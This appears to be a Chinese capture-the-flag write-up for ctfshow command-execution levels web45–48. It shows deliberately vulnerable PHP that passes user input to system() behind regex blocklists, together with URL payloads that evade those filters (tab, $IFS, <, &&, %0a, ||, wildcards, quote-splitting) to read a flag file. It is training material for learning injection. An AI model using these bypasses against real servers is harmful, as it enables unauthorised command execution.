ctfshow-web命令执行(web45-59)(Updating)
目录web45 &&等于; tab等于space
题目描述
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
题目分析
观察代码,多过滤了分号与空格,考虑用&&代替分号(&&代表执行两个命令,让后面的命令进入黑洞),用tab制表符代替空格
payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
$IFS代表shell里面的空格
解法3->url/?c=tac%09fla?.php%0a
web46 过滤数字*$
题目描述
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
题目分析
分析源代码,多过滤了* $ 数字,因此上题的payload均可用
payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
解法3->url/?c=tac%09fla?.php%0a
web47 <等于空格 ||解决黑洞
题目描述
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
题目分析
多过滤了一些字符,没有丝毫影响
payload
解法一二三上同
解法四->nl<fla''g.php||
nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞
web48 没什么软用
题目描述
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
题目分析
多过滤了字符,但丝毫不影响
payload
上同